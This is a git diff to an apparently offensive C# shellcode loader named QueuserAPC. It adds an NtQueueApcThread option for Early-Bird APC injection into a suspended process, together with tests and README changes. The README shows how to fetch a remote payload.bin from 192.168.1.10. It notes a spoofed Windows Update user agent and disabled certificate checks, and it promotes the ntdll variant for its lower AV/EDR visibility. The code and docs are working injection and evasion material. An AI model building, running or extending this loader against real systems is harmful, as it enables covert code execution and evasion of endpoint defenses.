diff --git a/QueuserAPC.Tests/ProgramTests.cs b/QueuserAPC.Tests/ProgramTests.cs index ac13f14..5ee3ebb 100644 --- a/QueuserAPC.Tests/ProgramTests.cs +++ b/QueuserAPC.Tests/ProgramTests.cs @@ -35,4 +35,35 @@ public void ParseUrl_InvalidScheme_ThrowsArgumentException(string url) var ex = Assert.Throws(() => Program.ParseUrl([url])); Assert.Contains("http or https", ex.Message, StringComparison.OrdinalIgnoreCase); } + + [Fact] + public void ParseUrl_UrlWithNtFlag_ReturnsUrl() + { + const string url = "http://192.168.1.10/payload.bin"; + Assert.Equal(url, Program.ParseUrl(["--nt", url])); + } + + [Fact] + public void ParseUrl_NtFlagOnly_ThrowsArgumentException() + { + Assert.Throws(() => Program.ParseUrl(["--nt"])); + } + + [Fact] + public void ParseUseNt_NoFlag_ReturnsFalse() + { + Assert.False(Program.ParseUseNt(["http://192.168.1.10/payload.bin"])); + } + + [Fact] + public void ParseUseNt_WithFlag_ReturnsTrue() + { + Assert.True(Program.ParseUseNt(["--nt", "http://192.168.1.10/payload.bin"])); + } + + [Fact] + public void ParseUseNt_FlagCaseInsensitive_ReturnsTrue() + { + Assert.True(Program.ParseUseNt(["--NT", "http://192.168.1.10/payload.bin"])); + } } diff --git a/QueuserAPC/Program.cs b/QueuserAPC/Program.cs index 28abbd1..d569325 100644 --- a/QueuserAPC/Program.cs +++ b/QueuserAPC/Program.cs @@ -13,7 +13,10 @@ internal static string ParseUrl(string[] args) if (args.Length < 1) throw new ArgumentException("Shellcode URL is required."); - var url = args[0]; + // Skip --nt flag when looking for the URL + var url = Array.Find(args, a => !a.StartsWith("--")) + ?? throw new ArgumentException("Shellcode URL is required."); + if (!Uri.TryCreate(url, UriKind.Absolute, out var uri) || (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)) throw new ArgumentException($"URL must use http or https scheme: {url}"); @@ -21,18 +24,31 @@ internal static string ParseUrl(string[] args) return url; } + /// + /// Returns true when the --nt flag is present, selecting the + /// variant over . + /// + internal static bool ParseUseNt(string[] args) => + Array.Exists(args, a => a.Equals("--nt", StringComparison.OrdinalIgnoreCase)); + static async Task Main(string[] args) { string shellcodeUrl; + bool useNt; try { shellcodeUrl = ParseUrl(args); + useNt = ParseUseNt(args); } catch (ArgumentException ex) { Console.Error.WriteLine($"Error: {ex.Message}"); - Console.Error.WriteLine("Usage: QueuserAPC "); + Console.Error.WriteLine("Usage: QueuserAPC [--nt] "); Console.Error.WriteLine(" e.g. QueuserAPC https://192.168.1.10/payload.bin"); + Console.Error.WriteLine(" QueuserAPC --nt https://192.168.1.10/payload.bin"); + Console.Error.WriteLine(); + Console.Error.WriteLine("Flags:"); + Console.Error.WriteLine(" --nt Use NtQueueApcThread (ntdll) instead of QueueUserAPC (kernel32)"); Environment.Exit(1); return; } @@ -98,7 +114,10 @@ static async Task Main(string[] args) Win32.MemoryProtection.ExecuteRead, out _); - Win32.QueueUserAPC(baseAddress, pi.hThread, 0); + if (useNt) + Win32.NtQueueApcThread(pi.hThread, baseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); + else + Win32.QueueUserAPC(baseAddress, pi.hThread, 0); Win32.ResumeThread(pi.hThread); } diff --git a/QueuserAPC/Win32.cs b/QueuserAPC/Win32.cs index e96023e..a074352 100644 --- a/QueuserAPC/Win32.cs +++ b/QueuserAPC/Win32.cs @@ -88,6 +88,19 @@ public static extern uint QueueUserAPC( IntPtr hThread, uint dwData); + /// + /// Undocumented NTDLL function — queues an APC without the Win32 alertable-state + /// requirement. Useful when the target thread is suspended (CREATE_SUSPENDED) as it + /// does not need to enter an alertable wait before the APC fires on ResumeThread. + /// + [DllImport("ntdll.dll")] + public static extern uint NtQueueApcThread( + IntPtr ThreadHandle, + IntPtr ApcRoutine, + IntPtr ApcArgument1, + IntPtr ApcArgument2, + IntPtr ApcArgument3); + [DllImport("kernel32.dll")] public static extern uint ResumeThread( IntPtr hThread); diff --git a/README.md b/README.md index 8ad1525..4149d8b 100644 --- a/README.md +++ b/README.md @@ -43,21 +43,37 @@ Output: `QueuserAPC\bin\Release\net8.0\QueuserAPC.exe` ## Usage ``` -QueuserAPC.exe +QueuserAPC.exe [--nt] ``` | Argument | Description | |---|---| | `` | URL serving raw shellcode bytes (HTTP or HTTPS) | +| `--nt` | Use `NtQueueApcThread` (ntdll) instead of `QueueUserAPC` (kernel32) — see below | -**Example:** +**Examples:** ``` +# Default — QueueUserAPC variant (kernel32) QueuserAPC.exe https://192.168.1.10/payload.bin + +# NtQueueApcThread variant (ntdll) +QueuserAPC.exe --nt https://192.168.1.10/payload.bin ``` > The HTTP client sends a `Windows-Update-Agent` User-Agent string and skips TLS certificate validation — suitable for lab environments using self-signed certificates. +### QueueUserAPC vs NtQueueApcThread + +| | `QueueUserAPC` | `NtQueueApcThread` | +|---|---|---| +| Library | `kernel32.dll` | `ntdll.dll` | +| Documented | Yes | No (undocumented NTDLL export) | +| Alertable state required | Yes — thread must enter alertable wait | No — fires on `ResumeThread` from `CREATE_SUSPENDED` | +| AV/EDR visibility | Higher (common LOLBin path) | Lower (NTDLL syscall tier) | + +Both variants target a `CREATE_SUSPENDED` process, so either works in the Early-Bird pattern. The `--nt` variant operates at the NTDLL tier, bypassing the higher-level Win32 APC dispatch and offering a lighter EDR footprint. + --- ## Project Structure @@ -111,6 +127,7 @@ Hooks run automatically on `git commit`: | 8 | ✅ Done | xUnit test project — CLI argument validation and URL guard (Win32 calls are integration-level and excluded) | | 9 | ✅ Done | detect-secrets baseline (`.secrets.baseline`) + pre-commit hook + CI step | | 10 | ✅ Done | CI matrix build for both Debug and Release configurations | +| [#8](https://github.com/incendiary/QueuserAPC/issues/8) | ✅ Done | `NtQueueApcThread` variant — `--nt` flag selects ntdll tier; comparison table in README | ---